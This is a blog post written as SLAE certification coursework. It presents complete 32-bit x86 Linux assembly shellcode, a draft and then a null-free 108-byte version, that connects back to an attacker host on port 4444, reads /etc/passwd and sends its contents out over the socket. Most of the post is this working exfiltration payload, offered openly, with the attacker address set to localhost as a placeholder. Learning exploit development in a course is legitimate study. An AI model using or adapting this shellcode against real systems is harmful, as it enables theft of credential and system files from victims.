I learned a lot during Securitytube Linux Assembly Expert 32-bit course and decided to create a shellcode which downloads a file from the victim machine to the attacker’s machine.

I used the same Makefile for the build process I had created earlier.

1. The pseudo code of the shellcode:

  • Create a socket
  • Connect back to the attacker machine
  • Open a file
  • Read the file content
  • Send the file content through the created socket
  • Exit

The first two point is similar to the reverse shell. The last four point is almost the same as the linux/x86/read_file payload of the Metasploit framework, however I use the file descriptor of the socket instead of the STDIN file descriptor.

 

2. The first draft of the shellcode:

global _start

section .text

_start:
	; Create a socket
	; eax = 102 (socketcall), ebx = 1 (socket),
	;   ecx = esp (2 (AF_INET), 1 (SOCK_STREAM), 0)
	mov eax, 102	; syscall = socketcall
	mov ebx, 1	; socket = 1
	push dword 0	; args: protocol = 0
	push dword 1	;       type = (SOCK_STREAM = 1)
	push dword 2	;       domain = (AF_INET = 2)
	mov ecx, esp	; pointer of args
	int 0x80


	; Save the returned socket to edi for later use, this is
	;   the first argument of the following syscalls
	xchg edi, eax	; eax (socket)  <=>  edi


	; Connect to a remote port
	push 0x0100007F	; socaddr: 0x0100007F = 127.0.0.1
	push 0x5c110002	;          0x5c11 = port 4444, AF_INET = 0x0002
	mov ecx, esp

	; eax = 102 (socketcall), ebx = 3 (connect),
	;   ecx = (socket, server struct, 16)
	mov eax, 102	; syscall = socketcall
	mov ebx, 3	; connect = 3
	push dword 16	; sockaddr_in: size of sockaddr_in
	push ecx	;              pointer of sockaddr_in
	push edi	;              server socket
	mov ecx, esp	; pointer of args
	int 0x80

	xchg edi, esi	; socket file descriptor is saved to esi


	jmp short find_address

shellcode:
	; Open the file
	; eax = 5 (open), ebx = pointer to path, ecx = 0 (flags)
	mov eax, 5
	pop ebx		; ebx = pointer to path
	mov ecx, 0	; ecx = 0 (flags)
	int 0x80

	; Read the file
	; eax = 3 (read), ebx = file descriptor from open file,
	;   ecx = esp, buffer, where we read the file content
	;   edx = 4096, buffer size
	mov ebx, eax	; ebx = file descriptor
	mov eax, 3
	mov edi, esp	; buffer address is saved to edi
	mov ecx, edi	; ecx = pointer to esp (buffer)
	mov edx, 0x1000	; edx = 4096 (buffer size)
	int 0x80

	; Write to the socket
	; eax = 4 (write), ebx = socket file descriptor (from esi)
	;   ecx = pointer to buffer, edx = (eax return value from
	;   previous syscall)
	mov edx, eax	; edx = bytes read
	mov eax, 4
	mov ebx, esi	; esi contains the socket file descriptor
	int 0x80

	; Exit
	; eax = 1 (exit), ebx = 0 (no error)
	mov eax, 1
	mov ebx, 0
	int 0x80

find_address:
	call dword shellcode
	path: db '/etc/passwd'

 

3. The shellcode after removing the NULL characters and reducing the size:

global _start

section .text

_start:
	; Create a socket
	; eax = 102 (socketcall), ebx = 1 (socket), ecx = esp (2 (AF_INET), 1 (SOCK_STREAM), 0)
	xor ebx, ebx
	mul ebx

	push eax
	or al, 102	; syscall = socketcall
	inc ebx
	push ebx
	push byte 2	;       domain = (AF_INET = 2)
	mov ecx, esp	; pointer of args
	int 0x80


	; Save the returned socket to edi for later use, this is
	;   the first argument of the following syscalls
	xchg edi, eax	; eax (socket)  <=>  edi


	; Connect to a remote port
	add al, 0x01
	shl eax, 24
	add al, 0x7f
	push eax		; socaddr: 0x0100007F = 127.0.0.1

	push word 0x5c11; 0x5c11 = port 4444
	push word 2	; AF_INET = 0x0002
	mov ecx, esp

	; eax = 102 (socketcall), ebx = 3 (connect), ecx = (socket, server struct, 16)
	xor eax, eax
	or al, 102	; syscall = socketcall
	add bl, 2	; connect = 3
	push dword 16	; sockaddr_in: size of sockaddr_in
	push ecx	;              pointer of sockaddr_in
	push edi	;              server socket
	mov ecx, esp    ; pointer of args
	int 0x80


	xchg edi, esi	; socket file descriptor is saved to esi


	jmp short find_address

shellcode:
	; Open the file
	; eax = 5 (open), ebx = pointer to path, ecx = 0 (flags)
	pop ebx         ; ebx = pointer to path
	push eax
	pop ecx		; ecx = 0 (flags)
	add al, 5
	int 0x80

	; Read the file
	; eax = 3 (read), ebx = file descriptor from open file,
	;   ecx = esp, buffer, where we read the file content
	;   edx = 4096, buffer size
	mov ebx, eax	; ebx = file descriptor
	xor eax, eax
	or al, 3
	mov edi, esp	; buffer address is saved to edi
	mov ecx, edi	; ecx = pointer to esp (buffer)
	inc edx
	rol edx, 12	; edx = 4096 (buffer size)
	int 0x80

	; Write to the socket
	; eax = 4 (write), ebx = socket file descriptor (from esi)
	;   ecx = pointer to buffer, edx = (eax return value from
	;   previous syscall)
	mov edx, eax	; edx = bytes read
	xor eax, eax
	mov al, 4
	mov ebx, esi	; esi contains the socket file descriptor
	int 0x80

	; Exit
	; eax = 1 (exit), ebx = 0 (no error)
	xor eax, eax
	push eax
	pop ebx
	inc eax
	int 0x80

find_address:
	call dword shellcode
	path: db '/etc/passwd'

The final size is 108 bytes.

 

4. The shellcode in action:

bonus1

 

*  *  *  *  *

 

The source code can be found on github:

https://github.com/sh3llc0d3r1337/SLAE32-bonus1

 

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:

http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/

Student ID: SLAE-691